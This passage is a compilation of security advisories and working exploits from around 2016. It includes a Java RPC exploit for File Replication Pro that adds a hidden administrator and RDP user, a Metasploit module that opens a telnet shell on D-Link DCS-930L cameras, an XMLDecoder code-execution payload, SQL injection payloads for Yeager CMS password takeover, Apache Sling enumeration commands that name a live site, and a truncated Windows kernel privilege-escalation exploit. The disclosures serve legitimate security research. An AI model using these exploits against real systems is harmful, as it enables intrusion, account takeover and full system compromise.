be obtained from the remote file disclosure vulnerability present in
the software (listed below) and used to authenticate to the RPC
service, where subsequently, arbitrary commands are executed as the
SYSTEM user.
POC Exploit Code of Malicious RPC Client:
/**
* @author Jerold Hoong (Vantage Point Security)
* File Replication Pro =< v7.2.0
* Remote Command Execution PoC Working Exploit
* www.vantagepoint.sg
* NOTE: Include FRP libraries to compile
*/
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import net.diasoft.frp.engine.exception.RPCException;
import net.diasoft.frp.engine.model.AddressPort;
import net.diasoft.frp.engine.tcp.client.RPCDriver;
import net.diasoft.frp.engine.tcp.client.TCPConnection;
public class Main {
static String ip = "1.2.3.4";
static int port = 9200;
// password string can be retrieved from remote file disclosure
vulnerability (configuration.xml)
// If no password is set, input blank string for password
// Use IE to navigate to <Target IP>:9200. OK = NO-AUTH, Error = AUTH
static String password = ""; // password 12345 jLIjfQZ5yojbZGTqxg2pY0VROWQ=
public static void main(String[] args) {
AddressPort ap = new AddressPort(ip, port);
AddressPort addresses[] = {ap};
TCPConnection _tcp_connection = null;
try {
_tcp_connection = new TCPConnection(addresses, password, true);
} catch (Exception e) {
e.printStackTrace();
}
System.out.print("Connecting to host...");
RPCDriver rpc = new RPCDriver(_tcp_connection);
HashMap p = new HashMap();
try {
Map r = rpc.callFunction("ExecCommand", p);
System.out.print("Success!\n");
} catch (RPCException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
// add new user
System.out.print("Attempting to add user 'vantagepoint' with
password 'LOLrofl1337!': ");
p.put("COMMAND", "net user vantagepoint LOLrofl1337! /add");
try {
Map r = rpc.callFunction("ExecCommand", p);
} catch (RPCException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
// add new user to Admin group
System.out.print("Attempting to add user 'vantagepoint' to
'Administrators' group: ");
p.put("COMMAND", "net localgroup \"Administrators\" vantagepoint /add");
try {
Map r = rpc.callFunction("ExecCommand", p);
} catch (RPCException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
//add new user to RDP group
System.out.print("Attempting to add user 'vantagepoint' to
'Remote Desktop Users' group:");
p.put("COMMAND", "net localgroup \"Remote Desktop Users\"
vantagepoint /add");
try {
Map r = rpc.callFunction("ExecCommand", p);
} catch (RPCException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
System.out.print("\n\n---- END ----\n\n");
}
}
2. Unauthenticated Remote Arbitrary File Disclosure
---------------------------------------------------
A flaw in File Replication Pro allows a malicious user to gain access
to the contents of any file on the remote server. This leads to the
compromise of sensitive information such as user accounts and password
hashes, which can then be used to further exploit the server using
other vulnerabilities in the software. An example of how to view File
Replication Pro's web interface user accounts and credentials is shown
below by accessing the following URLs:
- http://1.2.3.4:9100/DetailedLogReader.jsp?log_path=C:\Program+Files\FileReplicationPro\\etc\\properties.xml
- http://1.2.3.4:9100/DetailedLogReader.jsp?log_path=C:\Program+Files\FileReplicationPro\\etc\\configuration.xml
3. Unauthenticated Directory Traversal and File Listing
-------------------------------------------------------
It was possible to anonymously view the file directory structure of
the remote File Replication Pro management server as well as the file
directory structure of all server nodes that are managed by the
management server. The parameters that are used to construct the POST
request in the example code below can be obtained via the remote file
disclosure vulnerability by accessing File Replication Pro's
configuration.xml, properties.xml and .frp_id files.
POST /GetRemoteDirList.jsp?server_name=WIN7SP1&server_key=WIN7SP1~29d919a3:150c736b708:-8000&server_role=Source&server_password=&parent_dir=../../../c:/
HTTP/1.1
Host: 127.0.0.1:9100
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:9100/AddEditJob.do?action=new
Cookie: show_greeting=value; JSESSIONID=81cgjqf795cai
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 0
Fix Information:
----------------
Upgrade to the latest version of File Replication Pro 7.3.0
Timeline:
---------
28 October 2015 - Vulnerabilities discovered
06 November 2015 - Vendor acknowledged and scheduled fixes to commence
02 February 2016 - Patch released by vendor
10 February 2016 - Release of this advisory to the public
About Vantage Point Security:
-----------------------------
Vantage Point is the leading provider for penetration testing and
security advisory services in Singapore. Clients in the Financial,
Banking and Telecommunications industries select Vantage Point
Security based on technical competency and a proven track record to
deliver significant and measurable improvements in their security
posture.
https://www.vantagepoint.sg/
office[at]vantagepoint[dot]sg
Wieland wieplan 4.1 Document Parsing Java Code Execution Using XMLDecoder
Vendor: Wieland Electric GmbH
Product web page: http://www.wieland-electric.com
Affected version: 4.1 (Build 9)
Summary: Your new software for the configuration
of Wieland terminal rails. wieplan enables you to
plan a complete terminal rail in a very simple way
and to then place an order with Wieland. The configured
terminal rail can be stored in DXF format and read
into a CAD tool for further processing. Due to the
intuitive user interface, the configuration of terminal
rails with wieplan is easy.
Desc: wieplan suffers from an arbitrary java code
execution when parsing WIE documents that uses XMLDecoder,
allowing system access to the affected machine. The
software is used to generate custom specification
order saved in .wie XML file that has to be sent
to the vendor offices to be processed.
Tested on: Microsoft Windows 7 Professional SP1 (EN)
Microsoft Windows 7 Ultimate SP1 (EN)
Java/1.8.0_73
Java/1.6.0_62
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5304
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5304.php
25.11.2016
---
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.6.0_02" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>c:\\windows\\system32\\calc.exe</string>
</void>
</object>
</java>
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Telnet
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link DCS-930L Authenticated Remote Command Execution',
'Description' => %q{
The D-Link DCS-930L Network Video Camera is vulnerable
to OS Command Injection via the web interface. The vulnerability
exists at /setSystemCommand, which is accessible with credentials.
This vulnerability was present in firmware version 2.01 and fixed
by 2.12.
},
'Author' =>
[
'Nicholas Starke <nick@alephvoid.com>'
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Dec 20 2015',
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', ''])
], self.class)
register_advanced_options(
[
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]),
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
], self.class)
end
def telnet_timeout
(datastore['TelnetTimeout'] || 10)
end
def banner_timeout
(datastore['TelnetBannerTimeout'] || 25)
end
def exploit
user = datastore['USERNAME']
pass = datastore['PASSWORD'] || ''
test_login(user, pass)
exploit_telnet
end
def test_login(user, pass)
print_status("#{peer} - Trying to login with #{user} : #{pass}")
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'authorization' => basic_auth(user, pass)
})
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - invalid credentials (response code: #{res.code}") if res.code != 200
print_good("#{peer} - Successful login #{user} : #{pass}")
end
def exploit_telnet
telnet_port = rand(32767) + 32768
print_status("#{peer} - Telnet Port: #{telnet_port}")
cmd = "telnetd -p #{telnet_port} -l/bin/sh"
telnet_request(cmd)
print_status("#{rhost}:#{telnet_port} - Trying to establish telnet connection...")
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout })
if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{telnet_port} - Backdoor service unreachable")
end
add_socket(sock)
print_status("#{rhost}:#{telnet_port} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?
sock.close
fail_with(Failure::Unknown, "#{rhost}:#{telnet_port} - Unable to establish a telnet session")
else
print_good("#{rhost}:#{telnet_port} - Telnet session successfully established")
end
handler(sock)
end
def telnet_request(cmd)
uri = '/setSystemCommand'
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'vars_post' => {
'ReplySuccessPage' => 'docmd.htm',
'ReplyErrorPage' => 'docmd.htm',
'SystemCommand' => cmd,
'ConfigSystemCommand' => 'Save'
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
def negotiate_telnet(sock)
begin
Timeout.timeout(banner_timeout) do
while(true)
data = sock.get_once(-1, telnet_timeout)
return nil if not data or data.length == 0
if data =~ /BusyBox/
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end
end
SEC Consult Vulnerability Lab Security Advisory < 20160210-0 >
=======================================================================
title: Multiple Vulnerabilities
product: Yeager CMS
vulnerable version: 1.2.1
fixed version: 1.3
CVE number: CVE-2015-7567, CVE-2015-7568, CVE-2015-7569, CVE-2015-7570
,
CVE-2015-7571, CVE-2015-7572
impact: Critical
homepage: http://yeager.cm/en/home/
found: 2015-11-18
by: P. Morimoto (Office Bangkok)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Bangkok - Berlin - Frankfurt/Main - Montreal - Moscow
Singapore - Vienna (HQ) - Vilnius - Zurich
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
Yeager is an open source CMS that aims to become the most cost/time-effective
solution for medium and large web sites and applications.
Business recommendation:
------------------------
Yeager CMS suffers from multiple vulnerabilities due to improper input
validation and unprotected test scripts. By exploiting these vulnerabilities
an attacker could:
1. Change user's passwords including the administrator's account.
2. Gain full access to the Yeager CMS database.
3. Determine internal servers that inaccessible from the Internet.
4. Attack other users of the Yeager CMS with Cross-Site Scripting.
SEC Consult recommends not to use this software until a thorough security
review has been performed by security professionals and all identified
issues have been resolved.
Vulnerability overview/description:
-----------------------------------
1. Unauthenticated Blind SQL Injection (CVE-2015-7567, CVE-2015-7568)
2. Post-authentication Blind SQL Injection (CVE-2015-7569)
3. Unauthenticated Arbitrary File Upload (CVE-2015-7571)
4. Unauthenticated Server-side Request Forgery (CVE-2015-7570)
5. Non-permanent Cross-site Scripting (CVE-2015-7572)
Proof of concept:
-----------------
1. Unauthenticated Blind SQL Injection (CVE-2015-7567, CVE-2015-7568)
http://<host>/yeager/?action=passwordreset&token=<SQL Injection>
http://<host>/yeager/y.php/responder?handler=setNewPassword&us=sess_20000&lh=70
&data=["noevent",{"yg_property":"setNewPassword","params":{"userToken":"<SQL
Injection>"}}]
The vulnerability can also be used for unauthorized reset password of any user.
In order to reset a specific user's password, an attacker will need to provide
a valid email address of the user that he wants to attack.
The email can be retrieved by either social engineering or using the
aforementioned unauthenticated SQL injection vulnerability.
http://<host>/yeager/y.php/responder?handler=recoverLogin&us=sess_20000&lh=70&d
ata=["noevent",{"yg_property":"recoverLogin","params":{"userEmail":"<victim@ema
il.com>","winID":"1"}}]
The above URL just simply creates and sends a reset password token to the
user's email. Next, even if attacker does not know the token,
manipulating SQL commands allows to force to set the new password instantly.
Note that new password MUST be at least 8 characters in length
and must contain both letters and numbers.
http://<host>/yeager/y.php/responder?handler=setNewPassword&us=sess_20000&lh=70
&data=["noevent",{"yg_property":"setNewPassword","params":{"userToken":"'+or+ui
d=(select+id+from+yg_user+where+login='<victim@email.com>')+limit+1--+-","userP
assword":"<new-password>","winID":"1"}}]
2. Post-authentication Blind SQL Injection (CVE-2015-7569)
http://<host>/yeager/y.php/tab_USERLIST
POST Data:
win_no=4&yg_id=2-user&yg_type=user&wid=wid_4&refresh=1&initload=&us=sess_16000&
lh=325&pagedir_page=2&pagedir_perpage=1&pagedir_orderby=<SQL
Injection>&pagedir_orderdir=4&pagedir_from=5&pagedir_limit=6,7&newRole=1
3. Unauthenticated Arbitrary File Upload (CVE-2015-7571)
A publicly known Arbitrary File Upload vulnerability of Plupload was found in
Yeager CMS.
Fortunately, to successfully exploit the vulnerability requires PHP directive
"upload_tmp_dir" set to an existing directory and it must contain the writable
directory "plupload".
By default, the PHP directive "upload_tmp_dir" is an empty value.
As a result, the script will attempt to upload a file to /plupload/ instead
which generally does not exist on the filesystem.
http://<host>/yeager/ui/js/3rd/plupload/examples/upload.php
4. Unauthenticated Server-side Request Forgery (CVE-2015-7570)
http://<host>/yeager/libs/org/adodb_lite/tests/test_adodb_lite.php
http://<host>/yeager/libs/org/adodb_lite/tests/test_datadictionary.php
http://<host>/yeager/libs/org/adodb_lite/tests/test_adodb_lite_sessions.php
The parameter "dbhost" can be used to perform internal port scan using
time delay measurement. An attacker can provide internal IP address
and port number, for example, 10.10.0.1:22. The attacker then compares
time delays from multiple responses in order to determine host
and port availability.
5. Non-permanent Cross-site Scripting (CVE-2015-7572)
A previously published XSS vulnerability of Plupload was found in Yeager CMS.
http://<host>/yeager/ui/js/3rd/plupload/js/plupload.flash.swf?id=\%22%29%29;}ca
tch%28e%29{alert%28/XSS/%29;}//
Vulnerable / tested versions:
-----------------------------
The vulnerabilities have been tested on Yeager CMS 1.2.1
URL: http://yeager.cm/en/download/package/?v=1.2.1.0.0
Vendor contact timeline:
------------------------
2015-12-07: Contacting vendor through office@nexttuesday.de, contact@yeager.cm
2015-12-07: Established secure communication channel
2015-12-07: Sending advisory draft
2015-12-10: Yeager CMS 1.2.2 released for security fixes
2015-12-22: Yeager CMS 1.3 released for security fixes
2016-02-10: Public advisory release
Solution:
---------
The vulnerability has been fixed in Yeager CMS 1.3 and later.
https://github.com/ygcm/yeager/commit/74e0ce518321e659cda54f3f565ca0ce8794dba8#
diff-4200a6e704ae66ada32f35f69796cc71
https://github.com/ygcm/yeager/commit/053a3b98a9a3f4fd94186cbb8994de0a3e8d9307
Workaround:
-----------
No workaround available.
Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Bangkok - Berlin - Frankfurt/Main - Montreal - Moscow
Singapore - Vienna (HQ) - Vilnius - Zurich
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF Pichaya Morimoto / @2015
Document Title:
===============
Apache Sling Framework v2.3.6 (Adobe AEM) [CVE-2016-0956] - Information Disclosure Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1536
Adobe Bulletin: https://helpx.adobe.com/security/products/experience-manager/apsb16-05.html
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-0956
Vulnerability Magazine: http://magazine.vulnerability-db.com/?q=articles/2016/02/10/apache-sling-fw-v236-remote-slingpostservlet-exception-vulnerability
CVE-ID:
=======
CVE-2016-0956
Release Date:
=============
2016-02-10
Vulnerability Laboratory ID (VL-ID):
====================================
1536
Common Vulnerability Scoring System:
====================================
6.4
Product & Service Introduction:
===============================
Apache Sling is a web framework that uses a Java Content Repository, such as Apache Jackrabbit, to store and manage content. Sling applications use either scripts
or Java servlets, selected based on simple name conventions, to process HTTP requests in a RESTful way. The embedded Apache Felix OSGi framework and console provide
a dynamic runtime environment, where code and content bundles can be loaded, unloaded and reconfigured at runtime. As the first web framework dedicated to JSR-170
Java Content Repositories, Sling makes it very simple to implement simple applications, while providing an enterprise-level framework for more complex applications.
(Copy of the Vendor Homepage: http://sling.apache.org/)
Adobe Experience Manager (AEM) provides a complete suite of applications for the Web Experience Management (WEM) of organizations.
(Copy of the Vendor Homepage: https://docs.adobe.com/docs/en/aem/6-1.html )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a remote vulnerability in the official Apache Sling Framwork v2.3.6 software.
Vulnerability Disclosure Timeline:
==================================
2016-02-10: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Apache Software Foundation
Product: Apache Sling - Framework (Adobe AEM) 2.3.6
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
It seems that on some instances of AEM, due to lack of proper security controls and or misconfiguration, it is possible for remote unauthenticated
users to enumerate local system files/folders that arent accessible publicly to unauthenticated users.
This can be achieved by sending a `delete` requests to the SlingPostServlet which in return, responds back with a 500 exception page and the
following exception message: (org.apache.sling.api.resource.PersistenceException - Unable to commit changes to session)
No actual files are deleted with this request however, the HTML response contains a `ChangeLog` field which is where all enumerated folder/file
names are displayed (if existing). For instance, following POC command can be used to reproduce the said behavior.
curl -F``:operation=delete`` -F``:applyTo=/foldername/*`` http://website.com/path/file.html
To reproduce this in real world, I found an adobe website which is currently affected with this behavior. You can use the following CURL command
to reproduce the POC:
curl -F``:operation=delete`` -F``:applyTo=/etc/*`` https://server/content/adobedemolab/welcome-page.html
Note: This curl command should enumerate all files/folders which currently exist in /etc folder
This vulnerability currently affects major websites i.e. almost every instance of Adobe AEM published on the internet. Some references are included below for reference.
Affected Framework(s):
Apache Sling
Affected Product(s)
Adobe AEM (All Versions)
Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers without privilege system user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
PoC:
1. curl -F":operation=delete" -F":applyTo=/foldername/*" http://website.com/path/file.html
2. curl -F":operation=delete" -F":applyTo=/etc/*" https://www.adobedemo.com/content/adobedemolab/welcome-page.html
Solution - Fix & Patch:
=======================
The vulnerability is fixed in version Servlets POST 2.3.8. Please update by by automatic request or implement the manual fix.
Adobe: Hot fix 6445 resolves an information disclosure vulnerability affecting Apache Sling Servlets Post 2.3.6 (CVE-2016-0956).
Security Risk:
==============
The security risk of the exception software vulnerability in the apache sling framework is estimated as high. (CVSS 6.4)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ateeq Khan (ateeq@evolution-sec.com) [www.vulnerability-lab.com] (https://twitter.com/cybercrimenews)
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
/*
source: https://github.com/koczkatamas/CVE-2016-0051
Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016).
Full Proof of Concept:
- https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip
- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39432-1.zip
Elevation of Privilege (SYSTEM) exploit for CVE-2016-0051 (MS16-016) for Windows 7 SP1 x86 (build 7601)
Creator: Tamás Koczka (@koczkatamas - https://twitter.com/koczkatamas)
Original source: https://github.com/koczkatamas/CVE-2016-0051
*/
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using System.Threading;
namespace EoP
{
class Program
{
#region Fake WebDAV server
static void StartFakeWebDavServer(int port)
{
new Thread(() =>
{
var server = new TcpListener(IPAddress.Loopback, port);
server.Start();
while (true)
{
using (var client = server.AcceptTcpClient())
using (var stream = client.GetStream())
using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1")))
using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true })
{
Func<string> rl = () =>
{
var line = reader.ReadLine();
//Console.WriteLine("< " + line);
return line;
};
Action<string> wl = outData =>
{
//Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x)));
writer.Write(outData);
};
var hdrLine = rl();
Console.WriteLine("[*] Request: " + hdrLine);
var header = hdrLine.Split(' ');
while (!string.IsNullOrEmpty(rl())) { }
if (header[0] == "OPTIONS")
wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
else if (header[0] == "PROPFIND")
{
var body = String.Format(@"
<?xml version=""1.0"" encoding=""UTF-8""?>
<D:multistatus xmlns:D=""DAV:"">
<D:response>
<D:href>{0}</D:href>
<D:propstat>
<D:prop>
<D:creationdate>{1:s}Z</D:creationdate>
<D:getcontentlength>{3}</D:getcontentlength>
<D:getcontenttype>{4}</D:getcontenttype>
<D:getetag>{5}</D:getetag>
<D:getlastmodified>{6:R}</D:getlastmodified>
<D:resourcetype>{8}</D:resourcetype>
<D:supportedlock></D:supportedlock>
<D:ishidden>{7}</D:ishidden>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim();
wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body);
}
else
wl("HTTP/1.1 500 Internal Server Error\r\n\r\n");
//Console.WriteLine(" =============== END REQUEST =============== ");
}
}
}) { IsBackground = true, Name = "WebDAV server thread" }.Start();
}
#endregion
#region WinAPI
[DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr securityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[StructLayout(LayoutKind.Sequential)]
private class NETRESOURCE
{
public uint dwScope = 0;
public uint dwType = 0;
public uint dwDisplayType = 0;
public uint dwUsage = 0;
public string lpLocalName = null;
public string lpRemoteName = null;
public string lpComment = null;
public string lpProvider = null;
}
[DllImport("mpr.dll")]
private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags);
// based on http://www.codeproject.com/Articles/21974/Windows-NT-Native-API-Wrapper-Library
public enum PageProtection : uint
{
NOACCESS = 0x01,
READONLY = 0x02,
READWRITE = 0x04,
WRITECOPY = 0x08,
EXECUTE = 0x10,
EXECUTE_READ = 0x20,
EXECUTE_READWRITE = 0x40,
EXECUTE_WRITECOPY = 0x80,
GUARD = 0x100,
NOCACHE = 0x200,
WRITECOMBINE = 0x400
}
[Flags]
public enum MemoryAllocationType : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000,
FREE = 0x10000,
PRIVATE = 0x20000,
MAPPED = 0x40000,
RESET = 0x80000,
TOP_DOWN = 0x100000,
WRITE_WATCH = 0x200000,
ROTATE = 0x800000,
LARGE_PAGES = 0x20000000,
PHYSICAL = 0x400000,
FOUR_MB_PAGES = 0x80000000
}
[DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false)]
public static extern NtStatus NtAllocateVirtualMemory([In] IntPtr processHandle, [In, Out] ref IntPtr baseAddress, [In] uint zeroBits, [In, Out] ref UIntPtr regionSize, [In] MemoryAllocationType allocationType, [In] PageProtection protect);
public enum FileOpenInformation
{
Superceded = 0x00000000,
Opened = 0x00000001,
Created = 0x00000002,
Overwritten = 0x00000003,
Exists = 0x00000004,
DoesNotExist = 0x00000005
}
internal enum NtStatus : uint
{
SUCCESS = 0x00000000,
INVALID_PARAMETER_1 = 0xC00000EF,
INVALID_PARAMETER_2 = 0xC00000F0,
INVALID_PARAMETER_3 = 0xC00000F1,
INVALID_PARAMETER_4 = 0xC00000F2,
// don't care
}
internal struct IoStatusBlock
{
public NtStatus status;
public InformationUnion Information;
[StructLayout(LayoutKind.Explicit)]
public struct InformationUnion
{
[FieldOffset(0)]
public FileOpenInformation FileOpenInformation;
[FieldOffset(0)]
public uint BytesWritten;
[FieldOffset(0)]
public uint BytesRead;
}
}
[DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false, ExactSpelling = true, PreserveSig = true)]
public static extern NtStatus NtFsControlFile([In] IntPtr fileHandle, [In, Optional] IntPtr Event, [In, Optional] IntPtr apcRoutine, [In, Optional] IntPtr apcContext, [Out] out IoStatusBlock ioStatusBlock, [In] uint fsControlCode, [In, Optional] IntPtr inputBuffer, [In] uint inputBufferLength, [Out, Optional] IntPtr outputBuffer, [In] uint outputBufferLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate int LoadAndGetKernelBasePtr();
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
#endregion
private static byte[] il(params uint[] inp) { return inp.SelectMany(BitConverter.GetBytes).ToArray(); }
private static byte[] z(int c) { return rep(0, c); }
private static byte[] rep(byte b, int c) { return Enumerable.Repeat(b, c).ToArray(); }
private static byte[] fl(byte[][] inp) { return inp.SelectMany(x => x).ToArray(); }
public static void Main(string[] args)
{
var shellcodeDll = LoadLibrary("shellcode.dll");
var shellcodeFunc = GetProcAddress(shellcodeDll, "_shellcode@8");
var loadAndGetKernelBaseFunc = GetProcAddress(shellcodeDll, "_LoadAndGetKernelBase@0");
var loadAndGetKernelBase = (LoadAndGetKernelBasePtr)Marshal.GetDelegateForFunctionPointer(loadAndGetKernelBaseFunc, typeof(LoadAndGetKernelBasePtr));
var loadResult = loadAndGetKernelBase();
Console.WriteLine($"[*] LoadAndGetKernelBase result = {loadResult}");
var addr = new IntPtr(0x1000);
var size = new UIntPtr(0x4000);
var result = NtAllocateVirtualMemory(new IntPtr(-1), ref addr, 0, ref size, MemoryAllocationType.RESERVE | MemoryAllocationType.COMMIT, PageProtection.READWRITE);
Console.WriteLine($"[*] NtAllocateVirtualMemory result = {result}, addr = {addr}, size = {size}");
if (result != NtStatus.SUCCESS || loadResult != 0)
Console.WriteLine("[-] Fail... so sad :(");
else
{
Console.WriteLine("[*] Creating fake DeviceObject, DriverObject, etc structures...");
var payload = fl(new[] { z(8), /* [0x8]DriverObject=0 */ il(0), z(0x30 - 8 - 4), /* [0x30]StackSize=256 */ il(0x10, 0), z(13 * 4), il((uint)shellcodeFunc.ToInt32()) });
Marshal.Copy(payload, 1, new IntPtr(1), payload.Length - 1);
var p = new Random().Next(1024, 65535);
Console.WriteLine("[*] Starting fake webdav server...");
StartFakeWebDavServer(p);
Console.WriteLine("[*] Calling WNetAddConnection2...");
